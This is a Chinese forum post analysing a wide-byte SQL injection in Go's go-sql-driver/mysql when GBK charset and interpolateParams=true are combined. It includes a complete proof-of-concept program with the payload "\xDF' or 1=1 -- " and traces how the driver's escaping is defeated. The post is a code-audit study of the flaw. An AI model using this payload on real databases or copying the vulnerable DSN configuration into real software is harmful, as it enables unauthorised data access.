首页
社区
课程
招聘
[原创]【Golang】interpolateParams参数导致的宽字节注入
发表于: 3天前 1149

[原创]【Golang】interpolateParams参数导致的宽字节注入

3天前
1149

最近在研究Golang的代码审计,分享一个SQL注入中经典的宽字节注入问题。


该漏洞的利用条件是:

  1. MySQL库/表均采用GBK编码(必须GBK,GB2312不行);
           

  2. 客户端go-sql-driver/mysql驱动DSN配置 charset=gbk&interpolateParams=true


这里面有一个关键参数interpolateParams,他的官方解释为:interpolateParams


interpolateParams

Type:           bool
Valid Values:   true, false
Default:        false

If interpolateParams is true, placeholders (?) in calls to db.Query() and db.Exec() are interpolated into a single query string with given parameters. This reduces the number of roundtrips, since the driver has to prepare a statement, execute it with given parameters and close the statement again with interpolateParams=false.

This can not be used together with the multibyte encodings BIG5, CP932, GB2312, GBK or SJIS. These are blacklisted as they may introduce a SQL injection vulnerability!


翻译大致意思为:

如果 interpolateParams 设置为 true,则在调用 db.Query()db.Exec() 时,占位符(?)会被给定的参数插值到一个单一的查询字符串中。减少了交互次数,因为当 interpolateParams 设置为 false 时,驱动程序需要预编译语句,用给定的参数执行语句,然后再关闭这条语句。

此功能不能与多字节编码 BIG5、CP932、GB2312、GBK 或 SJIS 一起使用。这些编码被列为黑名单,因为它们可能会引入 SQL 注入漏洞!


说白了就是平常预编译都是在服务端做的,当interpolateParams设置为true时,会在客户端将SQL预编译好发送给服务端,减少了交互次数,提升了性能。


所以关注的重点是客户端如何做的预编译?先准备一段宽字节注入的POC:

package main

import (
   "SQLi/model"
   "database/sql"
   "fmt"
   _ "github.com/go-sql-driver/mysql"
   "log"
)

type UserRepository struct {
   db *sql.DB
}

func NewUserRepository(db *sql.DB) *UserRepository {
   return &UserRepository{db: db}
}

func GetDB(username, password string) (*sql.DB, error) {
   //ALTER DATABASE go_sec_labs CHARACTER SET = gbk COLLATE = gbk_chinese_ci;
   //ALTER TABLE `user` CONVERT TO CHARACTER SET gbk COLLATE gbk_chinese_ci;
   db, err := sql.Open("mysql", fmt.Sprintf("%s:%s@tcp(localhost:3306)/go_sec_labs2?charset=gbk&interpolateParams=true", username, password))
   if err != nil {
      return nil, err
   }

   return db, nil
}

func (repo *UserRepository) SelectByName(name string) ([]model.User, error) {
   query := "SELECT id, name, age, sex, password FROM user WHERE name = ?"
   rows, err := repo.db.Query(query, name)
   if err != nil {
      log.Println(err)
      return nil, err
   }
   defer rows.Close()

   return repo.orm2User(rows)
}

func (repo *UserRepository) orm2User(rows *sql.Rows) ([]model.User, error) {
   var users []model.User
   for rows.Next() {
      var user model.User
      if err := rows.Scan(&user.Id, &user.Name, &user.Age, &user.Sex, &user.Password); err != nil {
         log.Printf("Failed to scan row: %v", err)
         continue
      }
      users = append(users, user)
   }

   if err := rows.Err(); err != nil {
      log.Printf("Row iteration error: %v", err)
      return nil, err
   }

   return users, nil
}

func main() {
   // 初始化数据库连接
   db, err := GetDB("username", "password")
   if err != nil {
      log.Fatalf("Get db error: %v", err)
   }
   defer db.Close() // 确保程序结束时关闭数据库连接

   userRepo := NewUserRepository(db)

   users, err := userRepo.SelectByName("\xDF' or 1=1 -- ")
   if err != nil {
      log.Fatalf("SelectByName error: %v", err)
   }
   for _, user := range users {
      fmt.Println(user)
   }
}

执行预编译的代码位于go-sql-driver/mysql@v1.8.1/connection.go的interpolateParams方法,将断点打在这个方法内部,由于SQL注入主要针对输入为字符串的情况,所以将断点打在case string:这里:

此时的buf的内容是SQL去除了占位符 ? ,此时要在name = 之后拼接一个字符串,它要先在字符串的左边拼一个单引号,接下来会进入escapeStringBackslash函数,对payload中的敏感字符做转义。

因为接下来要操作buf有效长度之后的区域,所以此处做了一个扩容,增加的容量是payload长度×2:


我们的payload是13字节,所以扩容之后的长度变为了60 + 13 × 2 = 86:


我们的payload中只有一个敏感字符单引号 ',所以直接看这里case '\'':

此处将单引号放到buf后+1的位置,然后再在前面加了个转义符\,此时payload中的 ' 就被替换成了 \'。


从escapeStringBackslash函数返回后,这里再在buf末尾添加一个单引号 ',用于闭合289行添加的单引号:


至此,经过预编译的SQL就变为了:

按理来讲,payload中的单引号 ' 已经被转义,不会闭合前面的引号,但问题在于我们在payload前面构造了一个字节0xDF,可以用Wireshark抓包,看看实际发送到服务端的SQL是:

0x5C是 \ 的ASCII码,由于我们采用了GBK编码,我们构造的0xDF刚好和0x5C刚好构成了GBK中的一个汉字“”:

所以实际发送到服务端的SQL可看作:

SELECT id, name, age, sex, password FROM user WHERE name = '運' or 1=1 -- '

用于转义的 \ 被吃掉了,造成了注入。



之前官方解释说interpolateParams=true时可以减少交互次数,我们来看看怎么回事。先将interpolateParams设为false,执行一次查询,用Wireshark抓包:

可以看到有三次请求,

第一次Prepare Statement,此时发送的SQL还是带占位符 ? 的


第二次 Execute Statement,将payload发送给服务端:


第三次 Close Statement,将这条语句关闭:

在上面的过程中,预编译是在服务端做的。


而将interpolateParams设置为true之后,再次抓包可见只有一次Query请求,直接将预编译好的SQL发送给服务端,减少了交互次数就提高了性能。


参考

database-sql-一点深入理解


[招生]科锐逆向工程师培训(2024年11月15日实地,远程教学同时开班, 第51期)

最后于 2天前 被米龙·0xFFFE编辑 ,原因:
收藏
免费 0
支持
分享
最新回复 (0)
游客
登录 | 注册 方可回帖
返回
//